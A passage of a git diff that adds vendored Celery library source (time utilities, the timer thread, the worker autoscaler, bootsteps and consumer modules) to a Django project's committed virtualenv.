local=None, orig=None): + if is_naive(dt): + dt = make_aware(dt, orig or self.utc) + return localize(dt, self.tz_or_local(local)) + + def to_system(self, dt): + # tz=None is a special case since Python 3.3, and will + # convert to the current local timezone (Issue #2306). + return dt.astimezone(tz=None) + + def to_local_fallback(self, dt): + if is_naive(dt): + return make_aware(dt, self.local) + return localize(dt, self.local) + + def get_timezone(self, zone): + if isinstance(zone, str): + return _timezone(zone) + return zone + + @cached_property + def local(self): + return LocalTimezone() + + @cached_property + def utc(self): + return self.get_timezone('UTC') + + +timezone = _Zone() + + +def maybe_timedelta(delta): + """Convert integer to timedelta, if argument is an integer.""" + if isinstance(delta, numbers.Real): + return timedelta(seconds=delta) + return delta + + +def delta_resolution(dt, delta): + """Round a :class:`~datetime.datetime` to the resolution of timedelta. + + If the :class:`~datetime.timedelta` is in days, the + :class:`~datetime.datetime` will be rounded to the nearest days, + if the :class:`~datetime.timedelta` is in hours the + :class:`~datetime.datetime` will be rounded to the nearest hour, + and so on until seconds, which will just return the original + :class:`~datetime.datetime`. + """ + delta = max(delta.total_seconds(), 0) + + resolutions = ((3, lambda x: x / 86400), + (4, lambda x: x / 3600), + (5, lambda x: x / 60)) + + args = dt.year, dt.month, dt.day, dt.hour, dt.minute, dt.second + for res, predicate in resolutions: + if predicate(delta) >= 1.0: + return datetime(*args[:res], tzinfo=dt.tzinfo) + return dt + + +def remaining(start, ends_in, now=None, relative=False): + """Calculate the remaining time for a start date and a timedelta. + + For example, "how many seconds left for 30 seconds after start?" + + Arguments: + start (~datetime.datetime): Starting date. + ends_in (~datetime.timedelta): The end delta. + relative (bool): If enabled the end time will be calculated + using :func:`delta_resolution` (i.e., rounded to the + resolution of `ends_in`). + now (Callable): Function returning the current time and date. + Defaults to :func:`datetime.utcnow`. + + Returns: + ~datetime.timedelta: Remaining time. + """ + now = now or datetime.utcnow() + if str(start.tzinfo) == str(now.tzinfo) and now.utcoffset() != start.utcoffset(): + # DST started/ended + start = start.replace(tzinfo=now.tzinfo) + end_date = start + ends_in + if relative: + end_date = delta_resolution(end_date, ends_in).replace(microsecond=0) + ret = end_date - now + if C_REMDEBUG: # pragma: no cover + print('rem: NOW:{!r} START:{!r} ENDS_IN:{!r} END_DATE:{} REM:{}'.format( + now, start, ends_in, end_date, ret)) + return ret + + +def rate(r): + """Convert rate string (`"100/m"`, `"2/h"` or `"0.5/s"`) to seconds.""" + if r: + if isinstance(r, str): + ops, _, modifier = r.partition('/') + return RATE_MODIFIER_MAP[modifier or 's'](float(ops)) or 0 + return r or 0 + return 0 + + +def weekday(name): + """Return the position of a weekday: 0 - 7, where 0 is Sunday. + + Example: + >>> weekday('sunday'), weekday('sun'), weekday('mon') + (0, 0, 1) + """ + abbreviation = name[0:3].lower() + try: + return WEEKDAYS[abbreviation] + except KeyError: + # Show original day name in exception, instead of abbr. + raise KeyError(name) + + +def humanize_seconds(secs, prefix='', sep='', now='now', microseconds=False): + """Show seconds in human form. + + For example, 60 becomes "1 minute", and 7200 becomes "2 hours". + + Arguments: + prefix (str): can be used to add a preposition to the output + (e.g., 'in' will give 'in 1 second', but add nothing to 'now'). + now (str): Literal 'now'. + microseconds (bool): Include microseconds. + """ + secs = float(format(float(secs), '.2f')) + for unit, divider, formatter in TIME_UNITS: + if secs >= divider: + w = secs / float(divider) + return '{}{}{} {}'.format(prefix, sep, formatter(w), + pluralize(w, unit)) + if microseconds and secs > 0.0: + return '{prefix}{sep}{0:.2f} seconds'.format( + secs, sep=sep, prefix=prefix) + return now + + +def maybe_iso8601(dt): + """Either ``datetime | str -> datetime`` or ``None -> None``.""" + if not dt: + return + if isinstance(dt, datetime): + return dt + return parse_iso8601(dt) + + +def is_naive(dt): + """Return :const:`True` if :class:`~datetime.datetime` is naive.""" + return dt.tzinfo is None or dt.tzinfo.utcoffset(dt) is None + + +def make_aware(dt, tz): + """Set timezone for a :class:`~datetime.datetime` object.""" + try: + _localize = tz.localize + except AttributeError: + return dt.replace(tzinfo=tz) + else: + # works on pytz timezones + try: + return _localize(dt, is_dst=None) + except AmbiguousTimeError: + return min(_localize(dt, is_dst=True), + _localize(dt, is_dst=False)) + + +def localize(dt, tz): + """Convert aware :class:`~datetime.datetime` to another timezone.""" + if is_naive(dt): # Ensure timezone aware datetime + dt = make_aware(dt, tz) + if dt.tzinfo == utc: + dt = dt.astimezone(tz) # Always safe to call astimezone on utc zones + try: + _normalize = tz.normalize + except AttributeError: # non-pytz tz + return dt + else: + try: + return _normalize(dt, is_dst=None) + except TypeError: + return _normalize(dt) + except AmbiguousTimeError: + return min(_normalize(dt, is_dst=True), + _normalize(dt, is_dst=False)) + + +def to_utc(dt): + """Convert naive :class:`~datetime.datetime` to UTC.""" + return make_aware(dt, timezone.utc) + + +def maybe_make_aware(dt, tz=None): + """Convert dt to aware datetime, do nothing if dt is already aware.""" + if is_naive(dt): + dt = to_utc(dt) + return localize( + dt, timezone.utc if tz is None else timezone.tz_or_local(tz), + ) + return dt + + +class ffwd: + """Version of ``dateutil.relativedelta`` that only supports addition.""" + + def __init__(self, year=None, month=None, weeks=0, weekday=None, day=None, + hour=None, minute=None, second=None, microsecond=None, + **kwargs): + # pylint: disable=redefined-outer-name + # weekday is also a function in outer scope. + self.year = year + self.month = month + self.weeks = weeks + self.weekday = weekday + self.day = day + self.hour = hour + self.minute = minute + self.second = second + self.microsecond = microsecond + self.days = weeks * 7 + self._has_time = self.hour is not None or self.minute is not None + + def __repr__(self): + return reprcall('ffwd', (), self._fields(weeks=self.weeks, + weekday=self.weekday)) + + def __radd__(self, other): + if not isinstance(other, date): + return NotImplemented + year = self.year or other.year + month = self.month or other.month + day = min(monthrange(year, month)[1], self.day or other.day) + ret = other.replace(**dict(dictfilter(self._fields()), + year=year, month=month, day=day)) + if self.weekday is not None: + ret += timedelta(days=(7 - ret.weekday() + self.weekday) % 7) + return ret + timedelta(days=self.days) + + def _fields(self, **extra): + return dictfilter({ + 'year': self.year, 'month': self.month, 'day': self.day, + 'hour': self.hour, 'minute': self.minute, + 'second': self.second, 'microsecond': self.microsecond, + }, **extra) + + +def utcoffset(time=_time, localtime=_time.localtime): + """Return the current offset to UTC in hours.""" + if localtime().tm_isdst: + return time.altzone // 3600 + return time.timezone // 3600 + + +def adjust_timestamp(ts, offset, here=utcoffset): + """Adjust timestamp based on provided utcoffset.""" + return ts - (offset - here()) * 3600 + + +def get_exponential_backoff_interval( + factor, + retries, + maximum, + full_jitter=False +): + """Calculate the exponential backoff wait time.""" + # Will be zero if factor equals 0 + countdown = min(maximum, factor * (2 ** retries)) + # Full jitter according to + # https://www.awsarchitectureblog.com/2015/03/backoff.html + if full_jitter: + countdown = random.randrange(countdown + 1) + # Adjust according to maximum wait time and account for negative values. + return max(0, countdown) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/utils/timer2.py b/django_lottopy/lib/python3.10/site-packages/celery/utils/timer2.py new file mode 100644 index 00000000..88d8ffd7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/utils/timer2.py @@ -0,0 +1,154 @@ +"""Scheduler for Python functions. + +.. note:: + This is used for the thread-based worker only, + not for amqp/redis/sqs/qpid where :mod:`kombu.asynchronous.timer` is used. +""" +import os +import sys +import threading +from itertools import count +from threading import TIMEOUT_MAX as THREAD_TIMEOUT_MAX +from time import sleep + +from kombu.asynchronous.timer import Entry +from kombu.asynchronous.timer import Timer as Schedule +from kombu.asynchronous.timer import logger, to_timestamp + +TIMER_DEBUG = os.environ.get('TIMER_DEBUG') + +__all__ = ('Entry', 'Schedule', 'Timer', 'to_timestamp') + + +class Timer(threading.Thread): + """Timer thread. + + Note: + This is only used for transports not supporting AsyncIO. + """ + + Entry = Entry + Schedule = Schedule + + running = False + on_tick = None + + _timer_count = count(1) + + if TIMER_DEBUG: # pragma: no cover + def start(self, *args, **kwargs): + import traceback + print('- Timer starting') + traceback.print_stack() + super().start(*args, **kwargs) + + def __init__(self, schedule=None, on_error=None, on_tick=None, + on_start=None, max_interval=None, **kwargs): + self.schedule = schedule or self.Schedule(on_error=on_error, + max_interval=max_interval) + self.on_start = on_start + self.on_tick = on_tick or self.on_tick + super().__init__() + # `_is_stopped` is likely to be an attribute on `Thread` objects so we + # double underscore these names to avoid shadowing anything and + # potentially getting confused by the superclass turning these into + # something other than an `Event` instance (e.g. a `bool`) + self.__is_shutdown = threading.Event() + self.__is_stopped = threading.Event() + self.mutex = threading.Lock() + self.not_empty = threading.Condition(self.mutex) + self.daemon = True + self.name = f'Timer-{next(self._timer_count)}' + + def _next_entry(self): + with self.not_empty: + delay, entry = next(self.scheduler) + if entry is None: + if delay is None: + self.not_empty.wait(1.0) + return delay + return self.schedule.apply_entry(entry) + __next__ = next = _next_entry # for 2to3 + + def run(self): + try: + self.running = True + self.scheduler = iter(self.schedule) + + while not self.__is_shutdown.is_set(): + delay = self._next_entry() + if delay: + if self.on_tick: + self.on_tick(delay) + if sleep is None: # pragma: no cover + break + sleep(delay) + try: + self.__is_stopped.set() + except TypeError: # pragma: no cover + # we lost the race at interpreter shutdown, + # so gc collected built-in modules. + pass + except Exception as exc: + logger.error('Thread Timer crashed: %r', exc, exc_info=True) + sys.stderr.flush() + os._exit(1) + + def stop(self): + self.__is_shutdown.set() + if self.running: + self.__is_stopped.wait() + self.join(THREAD_TIMEOUT_MAX) + self.running = False + + def ensure_started(self): + if not self.running and not self.is_alive(): + if self.on_start: + self.on_start(self) + self.start() + + def _do_enter(self, meth, *args, **kwargs): + self.ensure_started() + with self.mutex: + entry = getattr(self.schedule, meth)(*args, **kwargs) + self.not_empty.notify() + return entry + + def enter(self, entry, eta, priority=None): + return self._do_enter('enter_at', entry, eta, priority=priority) + + def call_at(self, *args, **kwargs): + return self._do_enter('call_at', *args, **kwargs) + + def enter_after(self, *args, **kwargs): + return self._do_enter('enter_after', *args, **kwargs) + + def call_after(self, *args, **kwargs): + return self._do_enter('call_after', *args, **kwargs) + + def call_repeatedly(self, *args, **kwargs): + return self._do_enter('call_repeatedly', *args, **kwargs) + + def exit_after(self, secs, priority=10): + self.call_after(secs, sys.exit, priority) + + def cancel(self, tref): + tref.cancel() + + def clear(self): + self.schedule.clear() + + def empty(self): + return not len(self) + + def __len__(self): + return len(self.schedule) + + def __bool__(self): + """``bool(timer)``.""" + return True + __nonzero__ = __bool__ + + @property + def queue(self): + return self.schedule.queue diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/__init__.py new file mode 100644 index 00000000..51106807 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/__init__.py @@ -0,0 +1,4 @@ +"""Worker implementation.""" +from .worker import WorkController + +__all__ = ('WorkController',) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/autoscale.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/autoscale.py new file mode 100644 index 00000000..e5b9024c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/autoscale.py @@ -0,0 +1,154 @@ +"""Pool Autoscaling. + +This module implements the internal thread responsible +for growing and shrinking the pool according to the +current autoscale settings. + +The autoscale thread is only enabled if +the :option:`celery worker --autoscale` option is used. +""" +import os +import threading +from time import monotonic, sleep + +from kombu.asynchronous.semaphore import DummyLock + +from celery import bootsteps +from celery.utils.log import get_logger +from celery.utils.threads import bgThread + +from . import state +from .components import Pool + +__all__ = ('Autoscaler', 'WorkerComponent') + +logger = get_logger(__name__) +debug, info, error = logger.debug, logger.info, logger.error + +AUTOSCALE_KEEPALIVE = float(os.environ.get('AUTOSCALE_KEEPALIVE', 30)) + + +class WorkerComponent(bootsteps.StartStopStep): + """Bootstep that starts the autoscaler thread/timer in the worker.""" + + label = 'Autoscaler' + conditional = True + requires = (Pool,) + + def __init__(self, w, **kwargs): + self.enabled = w.autoscale + w.autoscaler = None + + def create(self, w): + scaler = w.autoscaler = self.instantiate( + w.autoscaler_cls, + w.pool, w.max_concurrency, w.min_concurrency, + worker=w, mutex=DummyLock() if w.use_eventloop else None, + ) + return scaler if not w.use_eventloop else None + + def register_with_event_loop(self, w, hub): + w.consumer.on_task_message.add(w.autoscaler.maybe_scale) + hub.call_repeatedly( + w.autoscaler.keepalive, w.autoscaler.maybe_scale, + ) + + def info(self, w): + """Return `Autoscaler` info.""" + return {'autoscaler': w.autoscaler.info()} + + +class Autoscaler(bgThread): + """Background thread to autoscale pool workers.""" + + def __init__(self, pool, max_concurrency, + min_concurrency=0, worker=None, + keepalive=AUTOSCALE_KEEPALIVE, mutex=None): + super().__init__() + self.pool = pool + self.mutex = mutex or threading.Lock() + self.max_concurrency = max_concurrency + self.min_concurrency = min_concurrency + self.keepalive = keepalive + self._last_scale_up = None + self.worker = worker + + assert self.keepalive, 'cannot scale down too fast.' + + def body(self): + with self.mutex: + self.maybe_scale() + sleep(1.0) + + def _maybe_scale(self, req=None): + procs = self.processes + cur = min(self.qty, self.max_concurrency) + if cur > procs: + self.scale_up(cur - procs) + return True + cur = max(self.qty, self.min_concurrency) + if cur < procs: + self.scale_down(procs - cur) + return True + + def maybe_scale(self, req=None): + if self._maybe_scale(req): + self.pool.maintain_pool() + + def update(self, max=None, min=None): + with self.mutex: + if max is not None: + if max < self.processes: + self._shrink(self.processes - max) + self._update_consumer_prefetch_count(max) + self.max_concurrency = max + if min is not None: + if min > self.processes: + self._grow(min - self.processes) + self.min_concurrency = min + return self.max_concurrency, self.min_concurrency + + def scale_up(self, n): + self._last_scale_up = monotonic() + return self._grow(n) + + def scale_down(self, n): + if self._last_scale_up and ( + monotonic() - self._last_scale_up > self.keepalive): + return self._shrink(n) + + def _grow(self, n): + info('Scaling up %s processes.', n) + self.pool.grow(n) + + def _shrink(self, n): + info('Scaling down %s processes.', n) + try: + self.pool.shrink(n) + except ValueError: + debug("Autoscaler won't scale down: all processes busy.") + except Exception as exc: + error('Autoscaler: scale_down: %r', exc, exc_info=True) + + def _update_consumer_prefetch_count(self, new_max): + diff = new_max - self.max_concurrency + if diff: + self.worker.consumer._update_prefetch_count( + diff + ) + + def info(self): + return { + 'max': self.max_concurrency, + 'min': self.min_concurrency, + 'current': self.processes, + 'qty': self.qty, + } + + @property + def qty(self): + return len(state.reserved_requests) + + @property + def processes(self): + return self.pool.num_processes diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/components.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/components.py new file mode 100644 index 00000000..d033872d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/components.py @@ -0,0 +1,240 @@ +"""Worker-level Bootsteps.""" +import atexit +import warnings + +from kombu.asynchronous import Hub as _Hub +from kombu.asynchronous import get_event_loop, set_event_loop +from kombu.asynchronous.semaphore import DummyLock, LaxBoundedSemaphore +from kombu.asynchronous.timer import Timer as _Timer + +from celery import bootsteps +from celery._state import _set_task_join_will_block +from celery.exceptions import ImproperlyConfigured +from celery.platforms import IS_WINDOWS +from celery.utils.log import worker_logger as logger + +__all__ = ('Timer', 'Hub', 'Pool', 'Beat', 'StateDB', 'Consumer') + +GREEN_POOLS = {'eventlet', 'gevent'} + +ERR_B_GREEN = """\ +-B option doesn't work with eventlet/gevent pools: \ +use standalone beat instead.\ +""" + +W_POOL_SETTING = """ +The worker_pool setting shouldn't be used to select the eventlet/gevent +pools, instead you *must use the -P* argument so that patches are applied +as early as possible. +""" + + +class Timer(bootsteps.Step): + """Timer bootstep.""" + + def create(self, w): + if w.use_eventloop: + # does not use dedicated timer thread. + w.timer = _Timer(max_interval=10.0) + else: + if not w.timer_cls: + # Default Timer is set by the pool, as for example, the + # eventlet pool needs a custom timer implementation. + w.timer_cls = w.pool_cls.Timer + w.timer = self.instantiate(w.timer_cls, + max_interval=w.timer_precision, + on_error=self.on_timer_error, + on_tick=self.on_timer_tick) + + def on_timer_error(self, exc): + logger.error('Timer error: %r', exc, exc_info=True) + + def on_timer_tick(self, delay): + logger.debug('Timer wake-up! Next ETA %s secs.', delay) + + +class Hub(bootsteps.StartStopStep): + """Worker starts the event loop.""" + + requires = (Timer,) + + def __init__(self, w, **kwargs): + w.hub = None + super().__init__(w, **kwargs) + + def include_if(self, w): + return w.use_eventloop + + def create(self, w): + w.hub = get_event_loop() + if w.hub is None: + required_hub = getattr(w._conninfo, 'requires_hub', None) + w.hub = set_event_loop(( + required_hub if required_hub else _Hub)(w.timer)) + self._patch_thread_primitives(w) + return self + + def start(self, w): + pass + + def stop(self, w): + w.hub.close() + + def terminate(self, w): + w.hub.close() + + def _patch_thread_primitives(self, w): + # make clock use dummy lock + w.app.clock.mutex = DummyLock() + # multiprocessing's ApplyResult uses this lock. + try: + from billiard import pool + except ImportError: # pragma: no cover + pass + else: + pool.Lock = DummyLock + + +class Pool(bootsteps.StartStopStep): + """Bootstep managing the worker pool. + + Describes how to initialize the worker pool, and starts and stops + the pool during worker start-up/shutdown. + + Adds attributes: + + * autoscale + * pool + * max_concurrency + * min_concurrency + """ + + requires = (Hub,) + + def __init__(self, w, autoscale=None, **kwargs): + w.pool = None + w.max_concurrency = None + w.min_concurrency = w.concurrency + self.optimization = w.optimization + if isinstance(autoscale, str): + max_c, _, min_c = autoscale.partition(',') + autoscale = [int(max_c), min_c and int(min_c) or 0] + w.autoscale = autoscale + if w.autoscale: + w.max_concurrency, w.min_concurrency = w.autoscale + super().__init__(w, **kwargs) + + def close(self, w): + if w.pool: + w.pool.close() + + def terminate(self, w): + if w.pool: + w.pool.terminate() + + def create(self, w): + semaphore = None + max_restarts = None + if w.app.conf.worker_pool in GREEN_POOLS: # pragma: no cover + warnings.warn(UserWarning(W_POOL_SETTING)) + threaded = not w.use_eventloop or IS_WINDOWS + procs = w.min_concurrency + w.process_task = w._process_task + if not threaded: + semaphore = w.semaphore = LaxBoundedSemaphore(procs) + w._quick_acquire = w.semaphore.acquire + w._quick_release = w.semaphore.release + max_restarts = 100 + if w.pool_putlocks and w.pool_cls.uses_semaphore: + w.process_task = w._process_task_sem + allow_restart = w.pool_restarts + pool = w.pool = self.instantiate( + w.pool_cls, w.min_concurrency, + initargs=(w.app, w.hostname), + maxtasksperchild=w.max_tasks_per_child, + max_memory_per_child=w.max_memory_per_child, + timeout=w.time_limit, + soft_timeout=w.soft_time_limit, + putlocks=w.pool_putlocks and threaded, + lost_worker_timeout=w.worker_lost_wait, + threads=threaded, + max_restarts=max_restarts, + allow_restart=allow_restart, + forking_enable=True, + semaphore=semaphore, + sched_strategy=self.optimization, + app=w.app, + ) + _set_task_join_will_block(pool.task_join_will_block) + return pool + + def info(self, w): + return {'pool': w.pool.info if w.pool else 'N/A'} + + def register_with_event_loop(self, w, hub): + w.pool.register_with_event_loop(hub) + + +class Beat(bootsteps.StartStopStep): + """Step used to embed a beat process. + + Enabled when the ``beat`` argument is set. + """ + + label = 'Beat' + conditional = True + + def __init__(self, w, beat=False, **kwargs): + self.enabled = w.beat = beat + w.beat = None + super().__init__(w, beat=beat, **kwargs) + + def create(self, w): + from celery.beat import EmbeddedService + if w.pool_cls.__module__.endswith(('gevent', 'eventlet')): + raise ImproperlyConfigured(ERR_B_GREEN) + b = w.beat = EmbeddedService(w.app, + schedule_filename=w.schedule_filename, + scheduler_cls=w.scheduler) + return b + + +class StateDB(bootsteps.Step): + """Bootstep that sets up between-restart state database file.""" + + def __init__(self, w, **kwargs): + self.enabled = w.statedb + w._persistence = None + super().__init__(w, **kwargs) + + def create(self, w): + w._persistence = w.state.Persistent(w.state, w.statedb, w.app.clock) + atexit.register(w._persistence.save) + + +class Consumer(bootsteps.StartStopStep): + """Bootstep starting the Consumer blueprint.""" + + last = True + + def create(self, w): + if w.max_concurrency: + prefetch_count = max(w.max_concurrency, 1) * w.prefetch_multiplier + else: + prefetch_count = w.concurrency * w.prefetch_multiplier + c = w.consumer = self.instantiate( + w.consumer_cls, w.process_task, + hostname=w.hostname, + task_events=w.task_events, + init_callback=w.ready_callback, + initial_prefetch_count=prefetch_count, + pool=w.pool, + timer=w.timer, + app=w.app, + controller=w, + hub=w.hub, + worker_options=w.options, + disable_rate_limits=w.disable_rate_limits, + prefetch_multiplier=w.prefetch_multiplier, + ) + return c diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/__init__.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/__init__.py new file mode 100644 index 00000000..129801f7 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/__init__.py @@ -0,0 +1,15 @@ +"""Worker consumer.""" +from .agent import Agent +from .connection import Connection +from .consumer import Consumer +from .control import Control +from .events import Events +from .gossip import Gossip +from .heart import Heart +from .mingle import Mingle +from .tasks import Tasks + +__all__ = ( + 'Consumer', 'Agent', 'Connection', 'Control', + 'Events', 'Gossip', 'Heart', 'Mingle', 'Tasks', +) diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/agent.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/agent.py new file mode 100644 index 00000000..ca6d1209 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/agent.py @@ -0,0 +1,21 @@ +"""Celery + :pypi:`cell` integration.""" +from celery import bootsteps + +from .connection import Connection + +__all__ = ('Agent',) + + +class Agent(bootsteps.StartStopStep): + """Agent starts :pypi:`cell` actors.""" + + conditional = True + requires = (Connection,) + + def __init__(self, c, **kwargs): + self.agent_cls = self.enabled = c.app.conf.worker_agent + super().__init__(c, **kwargs) + + def create(self, c): + agent = c.agent = self.instantiate(self.agent_cls, c.connection) + return agent diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/connection.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/connection.py new file mode 100644 index 00000000..2992dc8c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/connection.py @@ -0,0 +1,36 @@ +"""Consumer Broker Connection Bootstep.""" +from kombu.common import ignore_errors + +from celery import bootsteps +from celery.utils.log import get_logger + +__all__ = ('Connection',) + +logger = get_logger(__name__) +info = logger.info + + +class Connection(bootsteps.StartStopStep): + """Service managing the consumer broker connection.""" + + def __init__(self, c, **kwargs): + c.connection = None + super().__init__(c, **kwargs) + + def start(self, c): + c.connection = c.connect() + info('Connected to %s', c.connection.as_uri()) + + def shutdown(self, c): + # We must set self.connection to None here, so + # that the green pidbox thread exits. + connection, c.connection = c.connection, None + if connection: + ignore_errors(connection, connection.close) + + def info(self, c): + params = 'N/A' + if c.connection: + params = c.connection.info() + params.pop('password', None) # don't send password. + return {'broker': params} diff --git a/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/consumer.py b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/consumer.py new file mode 100644 index 00000000..86a79603 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery/worker/consumer/consumer.py @@ -0,0 +1,631 @@ +"""Worker Consumer Blueprint. + +This module contains the components responsible for consuming messages +from the broker, processing the messages and keeping the broker connections +up and running. +""" +import errno +import logging +import os +import warnings +from collections import defaultdict +from time import sleep + +from billiard.common import restart_state +from billiard.exceptions import RestartFreqExceeded +from kombu.asynchronous.semaphore import DummyLock +from kombu.exceptions import ContentDisallowed, DecodeError +from kombu.utils.compat import _detect_environment +from kombu.utils.encoding import safe_repr +from kombu.utils.limits import TokenBucket +from vine import ppartial, promise + +from celery import bootsteps, signals +from celery.app.trace import build_tracer +from celery.exceptions import (CPendingDeprecationWarning, InvalidTaskError, + NotRegistered) +from celery.utils.functional import noop +from celery.utils.log import get_logger +from celery.utils.nodenames import gethostname +from celery.utils.objects import Bunch +from celery.utils.text import truncate +from celery.utils.time import humanize_seconds, rate +from celery.worker import loops +from celery.worker.state import (active_requests, maybe_shutdown, + reserved_requests, task_reserved) + +__all__ = ('Consumer', 'Evloop', 'dump_body') + +CLOSE = bootsteps.CLOSE +TERMINATE = bootsteps.TERMINATE +STOP_CONDITIONS = {CLOSE, TERMINATE} +logger = get_logger(__name__) +debug, info, warn, error, crit = (logger.debug, logger.info, logger.warning, + logger.error, logger.critical) + +CONNECTION_RETRY = """\ +consumer: Connection to broker lost. \ +Trying to re-establish the connection...\ +""" + +CONNECTION_RETRY_STEP = """\ +Trying again {when}... ({retries}/{max_retries})\ +""" + +CONNECTION_ERROR = """\ +consumer: Cannot connect to %s: %s. +%s +""" + +CONNECTION_FAILOVER = """\ +Will retry using next failover.\ +""" + +UNKNOWN_FORMAT = """\ +Received and deleted unknown message. Wrong destination?!? + +The full contents of the message body was: %s +""" + +#: Error message for when an unregistered task is received. +UNKNOWN_TASK_ERROR = """\ +Received unregistered task of type %s. +The message has been ignored and discarded. + +Did you remember to import the module containing this task? +Or maybe you're using relative imports? + +Please see +http://docs.celeryq.org/en/latest/internals/protocol.html +for more information. + +The full contents of the message body was: +%s + +Thw full contents of the message headers: +%s + +The delivery info for this task is: +%s +""" + +#: Error message for when an invalid task message is received. +INVALID_TASK_ERROR = """\ +Received invalid task message: %s +The message has been ignored and discarded. + +Please ensure your message conforms to the task +message protocol as described here: +http://docs.celeryq.org/en/latest/internals/protocol.html + +The full contents of the message body was: +%s +""" + +MESSAGE_DECODE_ERROR = """\ +Can't decode message body: %r [type:%r encoding:%r headers:%s] + +body: %s +""" + +MESSAGE_REPORT = """\ +body: {0} +{{content_type:{1} content_encoding:{2} + delivery_info:{3} headers={4}}} +""" + +TERMINATING_TASK_ON_RESTART_AFTER_A_CONNECTION_LOSS = """\ +Task %s cannot be acknowledged after a connection loss since late acknowledgement is enabled for it. +Terminating it instead. +""" + +CANCEL_TASKS_BY_DEFAULT = """ +In Celery 5.1 we introduced an optional breaking change which +on connection loss cancels all currently executed tasks with late acknowledgement enabled. +These tasks cannot be acknowledged as the connection is gone, and the tasks are automatically redelivered back to the queue. +You can enable this behavior using the worker_cancel_long_running_tasks_on_connection_loss setting. +In Celery 5.1 it is set to False by default. The setting will be set to True by default in Celery 6.0. +""" # noqa: E501 + + +def dump_body(m, body): + """Format message body for debugging purposes.""" + # v2 protocol does not deserialize body + body = m.body if body is None else body + return '{} ({}b)'.format(truncate(safe_repr(body), 1024), + len(m.body)) + + +class Consumer: + """Consumer blueprint.""" + + Strategies = dict + + #: Optional callback called the first time the worker + #: is ready to receive tasks. + init_callback = None + + #: The current worker pool instance. + pool = None + + #: A timer used for high-priority internal tasks, such + #: as sending heartbeats. + timer = None + + restart_count = -1 # first start is the same as a restart + + class Blueprint(bootsteps.Blueprint): + """Consumer blueprint.""" + + name = 'Consumer' + default_steps = [ + 'celery.worker.consumer.connection:Connection', + 'celery.worker.consumer.mingle:Mingle', + 'celery.worker.consumer.events:Events', + 'celery.worker.consumer.gossip:Gossip', + 'celery.worker.consumer.heart:Heart', + 'celery.worker.consumer.control:Control', + 'celery.worker.consumer.tasks:Tasks', + 'celery.worker.consumer.consumer:Evloop', + 'celery.worker.consumer.agent:Agent', + ] + + def shutdown(self, parent): + self.send_all(parent, 'shutdown') + + def __init__(self, on_task_request, + init_callback=noop, hostname=None, + pool=None, app=None, + timer=None, controller=None, hub=None, amqheartbeat=None, + worker_options=None, disable_rate_limits=False, + initial_prefetch_count=2, prefetch_multiplier=1, **kwargs): + self.app = app + self.controller = controller + self.init_callback = init_callback + self.hostname = hostname or gethostname() + self.pid = os.getpid() + self.pool = pool + self.timer = timer + self.strategies = self.Strategies() + self.conninfo = self.app.connection_for_read() + self.connection_errors = self.conninfo.connection_errors + self.channel_errors = self.conninfo.channel_errors + self._restart_state = restart_state(maxR=5, maxT=1) + + self._does_info = logger.isEnabledFor(logging.INFO) + self._limit_order = 0 + self.on_task_request = on_task_request + self.on_task_message = set() + self.amqheartbeat_rate = self.app.conf.broker_heartbeat_checkrate + self.disable_rate_limits = disable_rate_limits + self.initial_prefetch_count = initial_prefetch_count + self.prefetch_multiplier = prefetch_multiplier + + # this contains a tokenbucket for each task type by name, used for + # rate limits, or None if rate limits are disabled for that task. + self.task_buckets = defaultdict(lambda: None) + self.reset_rate_limits() + + self.hub = hub + if self.hub or getattr(self.pool, 'is_green', False): + self.amqheartbeat = amqheartbeat + if self.amqheartbeat is None: + self.amqheartbeat = self.app.conf.broker_heartbeat + else: + self.amqheartbeat = 0 + + if not hasattr(self, 'loop'): + self.loop = loops.asynloop if hub else loops.synloop + + if _detect_environment() == 'gevent': + # there's a gevent bug that causes timeouts to not be reset, + # so if the connection timeout is exceeded once, it can NEVER + # connect again. + self.app.conf.broker_connection_timeout = None + + self._pending_operations = [] + + self.steps = [] + self.blueprint = self.Blueprint( + steps=self.app.steps['consumer'], + on_close=self.on_close, + ) + self.blueprint.apply(self, **dict(worker_options or {}, **kwargs)) + + def call_soon(self, p, *args, **kwargs): + p = ppartial(p, *args, **kwargs) + if self.hub: + return self.hub.call_soon(p) + self._pending_operations.append(p) + return p + + def perform_pending_operations(self): + if not self.hub: + while self._pending_operations: + try: + self._pending_operations.pop()() + except Exception as exc: # pylint: disable=broad-except + logger.exception('Pending callback raised: %r', exc) + + def bucket_for_task(self, type): + limit = rate(getattr(type, 'rate_limit', None)) + return TokenBucket(limit, capacity=1) if limit else None + + def reset_rate_limits(self): + self.task_buckets.update( + (n, self.bucket_for_task(t)) for n, t in self.app.tasks.items() + ) + + def _update_prefetch_count(self, index=0): + """Update prefetch count after pool/shrink grow operations. + + Index must be the change in number of processes as a positive + (increasing) or negative (decreasing) number. + + Note: + Currently pool grow operations will end up with an offset + of +1 if the initial size of the pool was 0 (e.g. + :option:`--autoscale=1,0 `). + """ + num_processes = self.pool.num_processes + if not self.initial_prefetch_count or not num_processes: + return # prefetch disabled + self.initial_prefetch_count = ( + self.pool.num_processes * self.prefetch_multiplier + ) + return self._update_qos_eventually(index) + + def _update_qos_eventually(self, index): + 